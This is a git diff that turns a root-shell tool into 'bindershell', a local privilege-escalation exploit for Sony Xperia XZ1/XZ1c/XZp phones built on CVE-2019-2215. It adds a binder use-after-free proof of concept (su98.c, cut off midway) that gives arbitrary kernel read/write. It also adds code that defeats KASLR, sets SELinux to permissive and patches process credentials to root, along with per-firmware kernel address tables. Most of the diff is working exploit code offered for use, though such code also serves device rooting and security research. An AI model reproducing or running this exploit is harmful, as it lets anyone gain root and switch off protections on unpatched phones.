diff --git a/README.md b/README.md index 14ba702..dcb4fca 100644 --- a/README.md +++ b/README.md @@ -1,9 +1,7 @@ -# renoshell - rename/notify temp root shell +# bindershell - temp root shell using CVE-2019-2215 for sony xperia xz1/xz1c/xzp phones -A get root shell tool using remote arbitrary kernel space read and write api, -which needs to be provided by another tool with an actual kernel exploit. This is forked from [iovyroot by dosomder](https://github.com/dosomder/iovyroot.git), -replacing dependency on a specific vulnerability with a remote arbitrary -kernel space read/write primitives. -The code was debugged, fixed and adapted to be compatible with 4.4.74 kernel -from xperia xz1c 47.1.A.2.324 android oreo firmware (includes selinux bypass). +replacing the kernel space read/write primitives with those from CVE-2019-2215 su98.c exploit. +The original su98.c did not properly patch security->sid and security->osid and did not include KASLR bypass. +To get the sid and osid patching, it was easier to port just the primitives from su98 here. +This code is compatible with several oreo firmwares of xperia xz1/xz1c/xzp phones (yoshino platform). diff --git a/jni/Android.mk b/jni/Android.mk index cab3a75..6f298f2 100644 --- a/jni/Android.mk +++ b/jni/Android.mk @@ -3,10 +3,10 @@ LOCAL_PATH := $(call my-dir) include $(CLEAR_VARS) LOCAL_ARM_MODE := arm -LOCAL_CFLAGS := -O3 -DNDEBUG --all-warnings --extra-warnings -D_GNU_SOURCE +LOCAL_CFLAGS := -O2 -DNDEBUG -D_GNU_SOURCE LOCAL_C_INCLUDES := $(LOCAL_PATH)/include/ -LOCAL_MODULE := renoshell -LOCAL_SRC_FILES := main.c getroot.c flex_array.c sid.c offsets.c client.c +LOCAL_MODULE := bindershell +LOCAL_SRC_FILES := main.c getroot.c flex_array.c sid.c offsets.c client.c su98.c include $(BUILD_EXECUTABLE) diff --git a/jni/client.c b/jni/client.c index a09af63..83deea9 100644 --- a/jni/client.c +++ b/jni/client.c @@ -11,154 +11,16 @@ #define PAGE_SIZE 4096 #endif -int run_server_command(int port, int cmd, uint64_t addr, int size, void *buff) -{ - int fd, ret, status; - uint8_t *buffer = buff; - unsigned offs; - struct sockaddr_in saddr; - struct t_cmd tc; - - if (size > PAGE_SIZE) - return -1; - - fd = socket(AF_INET, SOCK_STREAM, 0); - if (fd < 0) { - PRNO("socket"); - return -1; - } - - memset(&saddr, 0, sizeof(saddr)); - saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); - saddr.sin_family = AF_INET; - saddr.sin_port = htons(port); - if (connect(fd, (struct sockaddr *)&saddr, sizeof(saddr)) < 0) { - PRNO("connect"); - close(fd); - return -1; - } - - PDBG("connected to cmd server, sending cmd=%d addr=0x%016zx size=%d\n", cmd, addr, size); - - tc.cmd = cmd; - tc.addr = addr; - tc.size = size; - - ret = write(fd, &tc, sizeof(tc)); - if (ret < 0) { - PRNO("client cmd write"); - close(fd); - return -1; - } else if (ret < (int)sizeof(ret)) { - PERR("client cmd write %d bytes instead of %d expected\n", ret, (int)sizeof(tc)); - close(fd); - return -1; - } - - status = 0; - - switch (cmd) { - case CMD_QUIT: - break; - - case CMD_READ: - case CMD_GET_TASKP: - case CMD_GET_KASLR: - ret = read(fd, &status, sizeof(status)); - if (ret < 0) { - PRNO("client krd cmd status read"); - close(fd); - return -1; - } else if (ret < (int)sizeof(status)) { - PERR("client krd cmd status read %d bytes instead of %d expected\n", ret, (int)sizeof(status)); - close(fd); - return -1; - } - if (size != status) { - PERR("client krd read status=%d expected %d\n", status, size); - if (status < 1) { - close(fd); - return status; - } - size = status; - } - offs = 0; - do { - ret = read(fd, buffer + offs, size - offs); - if (ret < 0) { - PRNO("client read data"); - break; - } else if (ret == 0) { - PERR("client read data got 0 number of bytes\n"); - break; - } - offs += ret; - } while ((int)offs < size); - if ((int)offs < size) { - PERR("client read %d bytes instead of %u expected\n", offs, size); - close(fd); - return offs > 0 ? offs : -1; - } - PDBG("client read %u bytes from 0x%016zx kernel addr\n", size, addr); - break; - - case CMD_WRITE: - ret = write(fd, buffer, size); - if (ret < 0) { - PRNO("client write data"); - close(fd); - return -1; - } else if (ret < size) { - PERR("client write data %d bytes instead of %d expected\n", ret, size); - close(fd); - return -1; - } - ret = read(fd, &status, sizeof(status)); - if (ret < 0) { - PRNO("client kwr cmd status read"); - close(fd); - return -1; - } else if (ret < (int)sizeof(status)) { - PERR("client kwr cmd status read %d bytes instead of %d expected\n", ret, (int)sizeof(status)); - close(fd); - return -1; - } - if (size != status) { - PERR("client kwr read status=%d expected %d\n", status, size); - if (status < 1) { - close(fd); - return status; - } - } - PDBG("client wrote %u bytes to 0x%016zx kernel addr\n", status, addr); - break; - }; - - close(fd); - return status; -} +int raw_kernel_write(unsigned long kaddr, void *buf, unsigned long len); +int raw_kernel_read(unsigned long kaddr, void *buf, unsigned long len); int client_arbitrary_read(uint64_t addr, int size, void *buffer) { - return run_server_command(CMD_SERVER_PORT, CMD_READ, addr, size, buffer) == size ? 0 : -1; + return raw_kernel_read(addr, buffer, size) == size ? 0 : -1; } int client_arbitrary_write(uint64_t addr, int size, void *buffer) { - return run_server_command(CMD_SERVER_PORT, CMD_WRITE, addr, size, buffer) == size ? 0 : -1; -} - -int client_curr_get_task_struct_p(uint64_t *addr) -{ - return run_server_command(CMD_SERVER_PORT, CMD_GET_TASKP, 0, sizeof(*addr), addr) == sizeof(*addr) ? 0 : -1; + return raw_kernel_write(addr, buffer, size) == size ? 0 : -1; } -int client_curr_get_kaslr(uint64_t *addr) -{ - return run_server_command(CMD_SERVER_PORT, CMD_GET_KASLR, 0, sizeof(addr), addr) == 8 ? 0 : -1; -} - -void client_report_uid(int uid) -{ - run_server_command(CMD_SERVER_PORT, CMD_REPORT_UID, uid, 0, NULL); -} diff --git a/jni/client.h b/jni/client.h index e510055..2d74138 100644 --- a/jni/client.h +++ b/jni/client.h @@ -4,8 +4,4 @@ int client_arbitrary_read(uint64_t addr, int size, void *buffer); int client_arbitrary_write(uint64_t addr, int size, void *buffer); -int client_curr_get_task_struct_p(uint64_t *addr); -int client_curr_get_kaslr(uint64_t *addr); -void client_report_uid(int uid); - #endif diff --git a/jni/include/offsets.h b/jni/include/offsets.h index 531b368..f2f2bb8 100644 --- a/jni/include/offsets.h +++ b/jni/include/offsets.h @@ -5,9 +5,9 @@ struct offsets { char *targetid; // model_fwversion void* sidtab; // for selinux contenxt void* policydb; // for selinux context - void* selinux_enabled; void* selinux_enforcing; void *init_task; + void *init_user_ns; }; struct offsets* get_offsets(); diff --git a/jni/main.c b/jni/main.c index 7ae46a2..5d5d5bd 100644 --- a/jni/main.c +++ b/jni/main.c @@ -25,82 +25,34 @@ #include "client.h" #include "debug.h" -uint64_t opt_kaslr_slide; -const char *my_task_name; - -#define TASK_STRUCT_NEXT_OFFSET 0x0478 -#define TASK_STRUCT_PID_OFFSET 0x0570 -#define TASK_STRUCT_TSP_OFFSET 0x06e0 - -int get_my_task_struct_p(struct offsets *o, void **ptask) -{ - int ret; - int tsp_offset; - struct task_struct_partial *__kernel t; - struct task_struct_partial tsp; - void *__kernel task = o->init_task; - void *__kernel next; - pid_t my_pid, pid; - - ret = -1; - my_pid = getpid(); - tsp_offset = get_task_struct_partial_offset(task); - if (tsp_offset < 0) - return ret; - do { - if(read_at_address_pipe(task + TASK_STRUCT_PID_OFFSET, &pid, sizeof(pid))) - break; - t = (struct task_struct_partial *)(task + tsp_offset); - if(read_at_address_pipe(t, &tsp, sizeof(tsp))) - break; - if (strcmp(tsp.comm, my_task_name) == 0 && my_pid == pid) { - ret = 0; - *ptask = task; - break; - } - if(read_at_address_pipe(task + TASK_STRUCT_NEXT_OFFSET, &next, sizeof(next))) - break; - task = next - TASK_STRUCT_NEXT_OFFSET; - } while (ret < 0 && task != o->init_task); +#define TASK_STRUCT_MM_OFFSET 1224 +#define MM_STRUCT_USER_NS_OFFSET 752 - return ret; -} +uint64_t opt_kaslr_slide; -int getroot(struct offsets* o) +int getroot(struct offsets* o, uint64_t current_task_addr) { int ret = 1; - void * __kernel task; - int tsp_offset; + void * __kernel task = (void *)current_task_addr; int zero = 0; sidtab = o->sidtab; policydb = o->policydb; - task = NULL; - - if (client_curr_get_task_struct_p((uint64_t *)&task) < 0) - return ret; - tsp_offset = get_task_struct_partial_offset(task); - if (tsp_offset < 0) - return ret; - - if (tsp_offset != TASK_STRUCT_TSP_OFFSET) - PNFO("tsp_offset=0x%04x\n", tsp_offset); - - if (get_my_task_struct_p(o, &task) < 0) - return ret; - PNFO("task_struct %p\n", task); - - // we need first to disable selinux completely otherwise tcp communication - // with our exploit server seems to get denied with user switching to root uid - if(o->selinux_enabled) - write_at_address_pipe(o->selinux_enabled, &zero, sizeof(zero)); - if(o->selinux_enforcing) - write_at_address_pipe(o->selinux_enforcing, &zero, sizeof(zero)); + if(o->selinux_enforcing) { + ret = write_at_address_pipe(o->selinux_enforcing, &zero, sizeof(zero)); + if (ret == 0) + PNFO("selinux set to permissive\n"); + else + PERR("failed to set selinux permissive\n"); + } - if((ret = modify_task_cred_uc(task))) + if((ret = modify_task_cred_uc(task))) { + PERR("failed to modify current task credentials\n"); goto end; + } + PNFO("current task credentials patched\n"); ret = 0; end: return ret; @@ -110,45 +62,59 @@ void reenable_selinux(struct offsets* o) { int one = 1; - if(o->selinux_enabled) - write_at_address_pipe(o->selinux_enabled, &one, sizeof(one)); if(o->selinux_enforcing) write_at_address_pipe(o->selinux_enforcing, &one, sizeof(one)); } +int cve_2019_2215_0x98(uint64_t *current_task_addr); + int main(int argc, char **argv) { int ret = 1; struct offsets* o; int uid; + uint64_t current_task_addr; + uint64_t addr; - PNFO("\nrenoshell - rename/notify temp root shell\n"); - PNFO("https://github.com/j4nn/renoshell/\n\n"); + PNFO("\nbindershell - temp root shell for xperia XZ1c/XZ1/XZp using CVE-2019-2215\n"); + PNFO("https://github.com/j4nn/renoshell/tree/CVE-2019-2215\n\n"); - my_task_name = strrchr(argv[0], '/'); - if (my_task_name != NULL) - my_task_name++; - else - my_task_name = argv[0]; + if (cve_2019_2215_0x98(¤t_task_addr) != 0) { + PERR("cve_2019_2215_0x98() failed\n"); + return 1; + } + + if(!(o = get_offsets(0))) + return 1; + + ret = read_at_address_pipe((void *)(current_task_addr + TASK_STRUCT_MM_OFFSET), &addr, sizeof(addr)); + if (ret == 0) { + ret = read_at_address_pipe((void *)(addr + MM_STRUCT_USER_NS_OFFSET), &addr, sizeof(addr)); + if (ret == 0) { + addr -= (uint64_t)o->init_user_ns; + if (addr & 0xffful) { + PERR("kernel slide invalid (0x%zx)\n", addr); + } else + opt_kaslr_slide = addr; + } + } - if (client_curr_get_kaslr(&opt_kaslr_slide) == 0) - PNFO("kaslr slide 0x%zx\n", opt_kaslr_slide); + PNFO("kaslr slide 0x%zx\n", opt_kaslr_slide); if(!(o = get_offsets(opt_kaslr_slide))) return 1; if (argc > 1 && strcmp(argv[1], "--reenable-selinux") == 0) { reenable_selinux(o); - PNFO("selinux_enabled and selinux_enforcing set to 1\n"); + PNFO("selinux_enforcing set to 1\n"); return 0; } - ret = getroot(o); + ret = getroot(o, current_task_addr); if (ret) return ret; uid = getuid(); - client_report_uid(uid); if (uid == 0) { pid_t pid; diff --git a/jni/offsets.c b/jni/offsets.c index 99cecc7..6f71219 100644 --- a/jni/offsets.c +++ b/jni/offsets.c @@ -12,23 +12,65 @@ struct offsets offsets[] = { // XZ1 Compact - { "G8441_47.1.A.2.324", - (void *)0xffffff800a8f84a0, (void *)0xffffff800a8f82b0, (void *)0xffffff800a655628, (void *)0xffffff800a8f4df4, (void *)0xffffff800a614490 }, - // XZ1 Compact { "G8441_47.1.A.8.49", - (void *)0xffffff800a903460, (void *)0xffffff800a903270, (void *)0xffffff800a6550a8, (void *)0xffffff800a8ffdb4, (void *)0xffffff800a614490 }, + (void *)0xffffff800a903460, (void *)0xffffff800a903270, (void *)0xffffff800a8ffdb4, (void *)0xffffff800a614490, (void *)0xffffff800a61deb0 }, + +#ifdef INCLUDE_MOST_LIKELY_NOT_WORKING_TARGETS + // XZ1 Compact + { "G8441_47.1.A.2.324", + (void *)0xffffff800a8f84a0, (void *)0xffffff800a8f82b0, (void *)0xffffff800a8f4df4, (void *)0xffffff800a614490, (void *)0xffffff800a61de90 }, // XZ1 { "G8341_47.1.A.2.324", - (void *)0xffffff800a8f84a0, (void *)0xffffff800a8f82b0, (void *)0xffffff800a655628, (void *)0xffffff800a8f4df4, (void *)0xffffff800a614490 }, + (void *)0xffffff800a8f84a0, (void *)0xffffff800a8f82b0, (void *)0xffffff800a8f4df4, (void *)0xffffff800a614490, (void *)0xffffff800a61de90 }, // XZ1 dual { "G8342_47.1.A.2.281", - (void *)0xffffff800a8f84a0, (void *)0xffffff800a8f82b0, (void *)0xffffff800a655628, (void *)0xffffff800a8f4df4, (void *)0xffffff800a614490 }, + (void *)0xffffff800a8f84a0, (void *)0xffffff800a8f82b0, (void *)0xffffff800a8f4df4, (void *)0xffffff800a614490, (void *)0xffffff800a61de90 }, // XZ Premium { "G8141_47.1.A.3.254", - (void *)0xffffff800a901460, (void *)0xffffff800a901270, (void *)0xffffff800a6550a8, (void *)0xffffff800a8fddb4, (void *)0xffffff800a614490 }, + (void *)0xffffff800a901460, (void *)0xffffff800a901270, (void *)0xffffff800a8fddb4, (void *)0xffffff800a614490, (void *)0xffffff800a61deb0 }, // XZ Premium dual { "G8142_47.1.A.3.254", - (void *)0xffffff800a901460, (void *)0xffffff800a901270, (void *)0xffffff800a6550a8, (void *)0xffffff800a8fddb4, (void *)0xffffff800a614490 }, + (void *)0xffffff800a901460, (void *)0xffffff800a901270, (void *)0xffffff800a8fddb4, (void *)0xffffff800a614490, (void *)0xffffff800a61deb0 }, +#endif + + // XZ1 Compact + { "G8441_47.1.A.16.20", + (void *)0xffffff800a903460, (void *)0xffffff800a903270, (void *)0xffffff800a8ffdb4, (void *)0xffffff800a614490, (void *)0xffffff800a61deb0 }, + // XZ1 + { "G8341_47.1.A.16.20", + (void *)0xffffff800a903460, (void *)0xffffff800a903270, (void *)0xffffff800a8ffdb4, (void *)0xffffff800a614490, (void *)0xffffff800a61deb0 }, + // XZ1 dual + { "G8342_47.1.A.16.20", + (void *)0xffffff800a903460, (void *)0xffffff800a903270, (void *)0xffffff800a8ffdb4, (void *)0xffffff800a614490, (void *)0xffffff800a61deb0 }, + // XZ Premium + { "G8141_47.1.A.16.20", + (void *)0xffffff800a903460, (void *)0xffffff800a903270, (void *)0xffffff800a8ffdb4, (void *)0xffffff800a614490, (void *)0xffffff800a61deb0 }, + // XZ Premium dual + { "G8142_47.1.A.16.20", + (void *)0xffffff800a903460, (void *)0xffffff800a903270, (void *)0xffffff800a8ffdb4, (void *)0xffffff800a614490, (void *)0xffffff800a61deb0 }, + + // Xperia XZ1 Canada (Freedom) + { "G8343_47.1.A.12.150", + (void *)0xffffff800a904460, (void *)0xffffff800a904270, (void *)0xffffff800a900db4, (void *)0xffffff800a614490, (void *)0xffffff800a61deb0 }, + // Xperia XZ1 Canada (Freedom) + { "G8343_47.1.A.12.205", + (void *)0xffffff800a904460, (void *)0xffffff800a904270, (void *)0xffffff800a900db4, (void *)0xffffff800a614490, (void *)0xffffff800a61deb0 }, + + // Xperia XZ1 SO-01K (Docomo Japan) + { "SO-01K_47.1.F.1.105", + (void *)0xffffff800a904460, (void *)0xffffff800a904270, (void *)0xffffff800a900db4, (void *)0xffffff800a614490, (void *)0xffffff800a61deb0 }, + // Xperia XZ1 Compact SO-02K (Docomo Japan) + { "SO-02K_47.1.F.1.105", + (void *)0xffffff800a903460, (void *)0xffffff800a903270, (void *)0xffffff800a8ffdb4, (void *)0xffffff800a614490, (void *)0xffffff800a61deb0 }, + // Xperia XZ1 SOV36 (AU Japan) + { "SOV36_47.1.C.9.106", + (void *)0xffffff800a904460, (void *)0xffffff800a904270, (void *)0xffffff800a900db4, (void *)0xffffff800a614490, (void *)0xffffff800a61deb0 }, + // Xperia XZ Premium SO-04J (Docomo Japan) + { "SO-04J_47.1.F.1.105", + (void *)0xffffff800a904460, (void *)0xffffff800a904270, (void *)0xffffff800a900db4, (void *)0xffffff800a614490, (void *)0xffffff800a61deb0 }, + // Xperia XZ1 701SO (Softbank Ja) + { "701SO_47.1.D.11.103", + (void *)0xffffff800a904460, (void *)0xffffff800a904270, (void *)0xffffff800a900db4, (void *)0xffffff800a614490, (void *)0xffffff800a61deb0 }, }; static int get_targetid(char *id, int idsize) @@ -80,9 +122,9 @@ struct offsets* get_offsets(uint64_t kaslr_slide) o->sidtab += kaslr_slide; o->policydb += kaslr_slide; - o->selinux_enabled += kaslr_slide; o->selinux_enforcing += kaslr_slide; o->init_task += kaslr_slide; + o->init_user_ns += kaslr_slide; return o; } diff --git a/jni/su98.c b/jni/su98.c new file mode 100644 index 0000000..6b0d112 --- /dev/null +++ b/jni/su98.c @@ -0,0 +1,556 @@ +/* + * POC to gain arbitrary kernel R/W access using CVE-2019-2215 + * https://bugs.chromium.org/p/project-zero/issues/detail?id=1942 + * + * Jann Horn & Maddie Stone of Google Project Zero + * Some stuff from Grant Hernandez to achieve root (Oct 15th 2019) + * Modified by Alexander R. Pruss for 3.18 kernels where WAITQUEUE_OFFSET is 0x98 + * + * October 2019 +*/ + +#define DELAY_USEC 200000 + +#define KERNEL_BASE 0xffffffc000000000ul + +#define USER_DS 0x8000000000ul +#define BINDER_SET_MAX_THREADS 0x40046205ul +#define MAX_THREADS 3 + +#define RETRIES 3 + +#define PROC_KALLSYMS +#define KALLSYMS_CACHING +#define KSYM_NAME_LEN 128 + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include + +#include "debug.h" + +#define MAX_PACKAGE_NAME 1024 + +#define MIN(x, y) ((x) < (y) ? (x) : (y)) +#define MAX(x, y) ((x) > (y) ? (x) : (y)) + +#define BINDER_THREAD_EXIT 0x40046208ul +// NOTE: we don't cover the task_struct* here; we want to leave it uninitialized +#define BINDER_THREAD_SZ 0x188 +#define IOVEC_ARRAY_SZ (BINDER_THREAD_SZ / 16) //25 +#define WAITQUEUE_OFFSET (0x98) +#define IOVEC_INDX_FOR_WQ (WAITQUEUE_OFFSET / 16) //10 +#define UAF_SPINLOCK 0x10001 +#define PAGE 0x1000ul +#define TASK_STRUCT_OFFSET_FROM_TASK_LIST 0xE8 + +#define message(fmt, args...) PDBG(fmt "\n", ##args) +#define info(fmt, args...) PNFO(fmt "\n", ##args) +#define error(fmt, args...) PERR(fmt "\n", ##args) + +int isKernelPointer(unsigned long p) { + return p >= KERNEL_BASE && p<=0xFFFFFFFFFFFFFFFEul; +} + +int epfd; + +int binder_fd; + +unsigned long iovec_size(struct iovec *iov, int n) +{ + unsigned long sum = 0; + for (int i = 0; i < n; i++) + sum += iov[i].iov_len; + return sum; +} + +unsigned long iovec_max_size(struct iovec *iov, int n) +{ + unsigned long m = 0; + for (int i = 0; i < n; i++) + { + if (iov[i].iov_len > m) + m = iov[i].iov_len; + } + return m; +} + +int clobber_data(unsigned long payloadAddress, const void *src, unsigned long payloadLength) +{ + int dummyBufferSize = MAX(UAF_SPINLOCK, PAGE); + char *dummyBuffer = malloc(dummyBufferSize); + if (dummyBuffer == NULL) + error( "allocating dummyBuffer"); + + memset(dummyBuffer, 0, dummyBufferSize); + + message("PARENT: clobbering at 0x%lx", payloadAddress); + + struct epoll_event event = {.events = EPOLLIN}; + int max_threads = 2; + ioctl(binder_fd, BINDER_SET_MAX_THREADS, &max_threads); + if (epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event)) + error( "epoll_add"); + + unsigned long testDatum = 0; + unsigned long const testValue = 0xABCDDEADBEEF1234ul; + + struct iovec iovec_array[IOVEC_ARRAY_SZ]; + memset(iovec_array, 0, sizeof(iovec_array)); + +#define SECOND_WRITE_CHUNK_IOVEC_ITEMS 3 + + unsigned long second_write_chunk[SECOND_WRITE_CHUNK_IOVEC_ITEMS * 2] = { + (unsigned long)dummyBuffer, + /* iov_base (currently in use) */ // wq->task_list->next + SECOND_WRITE_CHUNK_IOVEC_ITEMS * 0x10, + /* iov_len (currently in use) */ // wq->task_list->prev + + payloadAddress, //(unsigned long)current_ptr+0x8, // current_ptr+0x8, // current_ptr + 0x8, /* next iov_base (addr_limit) */ + payloadLength, + + (unsigned long)&testDatum, + sizeof(testDatum), + }; + + int delta = (UAF_SPINLOCK + sizeof(second_write_chunk)) % PAGE; + int paddingSize = delta == 0 ? 0 : PAGE - delta; + + iovec_array[IOVEC_INDX_FOR_WQ - 1].iov_base = dummyBuffer; + iovec_array[IOVEC_INDX_FOR_WQ - 1].iov_len = paddingSize; + iovec_array[IOVEC_INDX_FOR_WQ].iov_base = dummyBuffer; + iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 0; // spinlock: will turn to UAF_SPINLOCK + iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = second_write_chunk; // wq->task_list->next: will turn to payloadAddress of task_list + iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = sizeof(second_write_chunk); // wq->task_list->prev: will turn to payloadAddress of task_list + iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_base = dummyBuffer; // stuff from this point will be overwritten and/or ignored + iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len = UAF_SPINLOCK; + iovec_array[IOVEC_INDX_FOR_WQ + 3].iov_base = dummyBuffer; + iovec_array[IOVEC_INDX_FOR_WQ + 3].iov_len = payloadLength; + iovec_array[IOVEC_INDX_FOR_WQ + 4].iov_base = dummyBuffer; + iovec_array[IOVEC_INDX_FOR_WQ + 4].iov_len = sizeof(testDatum); + int totalLength = iovec_size(iovec_array, IOVEC_ARRAY_SZ); + + int pipes[2]; + pipe(pipes); + if ((fcntl(pipes[0], F_SETPIPE_SZ, PAGE)) != PAGE) + error( "pipe size"); + if ((fcntl(pipes[1], F_SETPIPE_SZ, PAGE)) != PAGE) + error( "pipe size"); + + pid_t fork_ret = fork(); + if (fork_ret == -1) + error( "fork"); + if (fork_ret == 0) + { + /* Child process */ + prctl(PR_SET_PDEATHSIG, SIGKILL); + usleep(DELAY_USEC); + message("CHILD: Doing EPOLL_CTL_DEL."); + epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event); + message("CHILD: Finished EPOLL_CTL_DEL."); + + char *f = malloc(totalLength); + if (f == NULL) + error( "Allocating memory"); + memset(f, 0, paddingSize + UAF_SPINLOCK); + unsigned long pos = paddingSize + UAF_SPINLOCK; + memcpy(f + pos, second_write_chunk, sizeof(second_write_chunk)); + pos += sizeof(second_write_chunk); + memcpy(f + pos, src, payloadLength); + pos += payloadLength; + memcpy(f + pos, &testValue, sizeof(testDatum)); + pos += sizeof(testDatum); + write(pipes[1], f, pos); + message("CHILD: wrote %lu", pos); + close(pipes[1]); + close(pipes[0]); + exit(0); + } + + ioctl(binder_fd, BINDER_THREAD_EXIT, NULL); + int b = readv(pipes[0], iovec_array, IOVEC_ARRAY_SZ); + + message("PARENT: readv returns %d, expected %d", b, totalLength); + + if (testDatum != testValue) + info( "PARENT: **fail** clobber value doesn't match: is %lx but should be %lx", testDatum, testValue); + else + message("PARENT: clobbering test passed"); + + free(dummyBuffer); + close(pipes[0]); + close(pipes[1]); + + return testDatum == testValue; +} + +int leak_data(void *leakBuffer, int leakAmount, + unsigned long extraLeakAddress, void *extraLeakBuffer, int extraLeakAmount, + unsigned long *task_struct_ptr_p, unsigned long *task_struct_plus_8_p) +{ + unsigned long const minimumLeak = TASK_STRUCT_OFFSET_FROM_TASK_LIST + 8; + unsigned long adjLeakAmount = MAX(leakAmount, 4336); // TODO: figure out why we need at least 4336; I would think that minimumLeak should be enough + + int success = 1; + + struct epoll_event event = {.events = EPOLLIN}; + int max_threads = 2; + ioctl(binder_fd, BINDER_SET_MAX_THREADS, &max_threads); + if (epoll_ctl(epfd, EPOLL_CTL_ADD, binder_fd, &event)) + error( "epoll_add"); + + struct iovec iovec_array[IOVEC_ARRAY_SZ]; + + memset(iovec_array, 0, sizeof(iovec_array)); + + int delta = (UAF_SPINLOCK + minimumLeak) % PAGE; + int paddingSize = (delta == 0 ? 0 : PAGE - delta) + PAGE; + + iovec_array[IOVEC_INDX_FOR_WQ - 2].iov_base = (unsigned long *)0xDEADBEEF; + iovec_array[IOVEC_INDX_FOR_WQ - 2].iov_len = PAGE; + iovec_array[IOVEC_INDX_FOR_WQ - 1].iov_base = (unsigned long *)0xDEADBEEF; + iovec_array[IOVEC_INDX_FOR_WQ - 1].iov_len = paddingSize - PAGE; + iovec_array[IOVEC_INDX_FOR_WQ].iov_base = (unsigned long *)0xDEADBEEF; + iovec_array[IOVEC_INDX_FOR_WQ].iov_len = 0; /* spinlock: will turn to UAF_SPINLOCK */ + iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_base = (unsigned long *)0xDEADBEEF; /* wq->task_list->next */ + iovec_array[IOVEC_INDX_FOR_WQ + 1].iov_len = adjLeakAmount; /* wq->task_list->prev */ + iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_base = (unsigned long *)0xDEADBEEF; // we shouldn't get to here + iovec_array[IOVEC_INDX_FOR_WQ + 2].iov_len = extraLeakAmount + UAF_SPINLOCK + 8; + unsigned long totalLength = iovec_size(iovec_array, IOVEC_ARRAY_SZ); + unsigned long maxLength = iovec_size(iovec_array, IOVEC_ARRAY_SZ); + unsigned char *dataBuffer = malloc(maxLength); + + if (dataBuffer == NULL) + error( "Allocating %ld bytes", maxLength); + + for (int i = 0; i < IOVEC_ARRAY_SZ; i++) + if (iovec_array[i].iov_base == (unsigned long *)0xDEADBEEF) + iovec_array[i].iov_base = dataBuffer; + + int b; + int pipefd[2]; + int leakPipe[2]; + if (pipe(pipefd)) + error( "pipe"); + if (pipe(leakPipe)) + err(2, "pipe"); + if ((fcntl(pipefd[0], F_SETPIPE_SZ, PAGE)) != PAGE) + error( "pipe size"); + if ((fcntl(pipefd[1], F_SETPIPE_SZ, PAGE)) != PAGE) + error( "pipe size"); + + pid_t fork_ret = fork(); + if (fork_ret == -1) + error( "fork"); + if (fork_ret == 0) + { + /* Child process */ + char childSuccess = 1; + + prctl(PR_SET_PDEATHSIG, SIGKILL); + usleep(DELAY_USEC); + message("CHILD: Doing EPOLL_CTL_DEL."); + epoll_ctl(epfd, EPOLL_CTL_DEL, binder_fd, &event); + message("CHILD: Finished EPOLL_CTL_DEL."); + + unsigned long size1 = paddingSize + UAF_SPINLOCK + minimumLeak; + message("CHILD: initial portion length 0x%lx", size1); + char buffer[size1]; + memset(buffer, 0, size1); + if (read(pipefd[0], buffer, size1) != size1) + error( "reading first part of pipe"); + + memcpy(dataBuffer, buffer + size1 - minimumLeak, minimumLeak); + + int badPointer = 0; + if (memcmp(dataBuffer, dataBuffer + 8, 8)) + badPointer = 1; + unsigned long addr = 0; + memcpy(&addr, dataBuffer, 8); + + if (!isKernelPointer(addr)) { + badPointer = 1; + childSuccess = 0; + } + + unsigned long task_struct_ptr = 0; + + memcpy(&task_struct_ptr, dataBuffer + TASK_STRUCT_OFFSET_FROM_TASK_LIST, 8); + message("CHILD: task_struct_ptr = 0x%lx", task_struct_ptr); + + if (!badPointer && (extraLeakAmount > 0 || task_struct_plus_8_p != NULL)) + { + unsigned long extra[6] = { + addr, + adjLeakAmount, + extraLeakAddress, + extraLeakAmount, + task_struct_ptr + 8, + 8}; + message("CHILD: clobbering with extra leak structures"); + if (clobber_data(addr, &extra, sizeof(extra))) + message("CHILD: clobbered"); + else { + info("CHILD: **fail** iovec clobbering didn't work"); + childSuccess = 0; + } + } + + errno = 0; + if (read(pipefd[0], dataBuffer + minimumLeak, adjLeakAmount - minimumLeak) != adjLeakAmount - minimumLeak) + error("leaking"); + + write(leakPipe[1], dataBuffer, adjLeakAmount); + + if (extraLeakAmount > 0) + { + message("CHILD: extra leak"); + if (read(pipefd[0], extraLeakBuffer, extraLeakAmount) != extraLeakAmount) { + childSuccess = 0; + error( "extra leaking"); + } + write(leakPipe[1], extraLeakBuffer, extraLeakAmount); + //hexdump_memory(extraLeakBuffer, (extraLeakAmount+15)/16*16); + } + if (task_struct_plus_8_p != NULL) + { + if (read(pipefd[0], dataBuffer, 8) != 8) { + childSuccess = 0; + error( "leaking second field of task_struct"); + } + message("CHILD: task_struct_ptr = 0x%lx", *(unsigned long *)dataBuffer); + write(leakPipe[1], dataBuffer, 8); + } + write(leakPipe[1], &childSuccess, 1); + + close(pipefd[0]); + close(pipefd[1]); + close(leakPipe[0]); + close(leakPipe[1]); + message("CHILD: Finished write to FIFO."); + + if (badPointer) { + errno = 0; + info("CHILD: **fail** problematic address pointer, e.g., %lx", addr); + } + exit(0); + } + message("PARENT: soon will be calling WRITEV"); + errno = 0; + ioctl(binder_fd, BINDER_THREAD_EXIT, NULL); + b = writev(pipefd[1], iovec_array, IOVEC_ARRAY_SZ); + message("PARENT: writev() returns 0x%x", (unsigned int)b); + if (b != totalLength) { + info( "PARENT: **fail** writev() returned wrong value: needed 0x%lx", totalLength); + success = 0; + goto DONE; + } + + info("PARENT: Reading leaked data"); + + b = read(leakPipe[0], dataBuffer, adjLeakAmount); + if (b != adjLeakAmount) { + info( "PARENT: **fail** reading leak: read 0x%x needed 0x%lx", b, adjLeakAmount); + success = 0; + goto DONE; + } + + if (leakAmount > 0) + memcpy(leakBuffer, dataBuffer, leakAmount); + + if (extraLeakAmount != 0) + { + info("PARENT: Reading extra leaked data"); + b = read(leakPipe[0], extraLeakBuffer, extraLeakAmount); + if (b != extraLeakAmount) { + info( "PARENT: **fail** reading extra leak: read 0x%x needed 0x%x", b, extraLeakAmount); + success = 0; + goto DONE; + } + } + + if (task_struct_plus_8_p != NULL) + { + if (read(leakPipe[0], task_struct_plus_8_p, 8) != 8) { + info( "PARENT: **fail** reading leaked task_struct at offset 8"); + success = 0; + goto DONE; + } + } + + char childSucceeded=0; + + 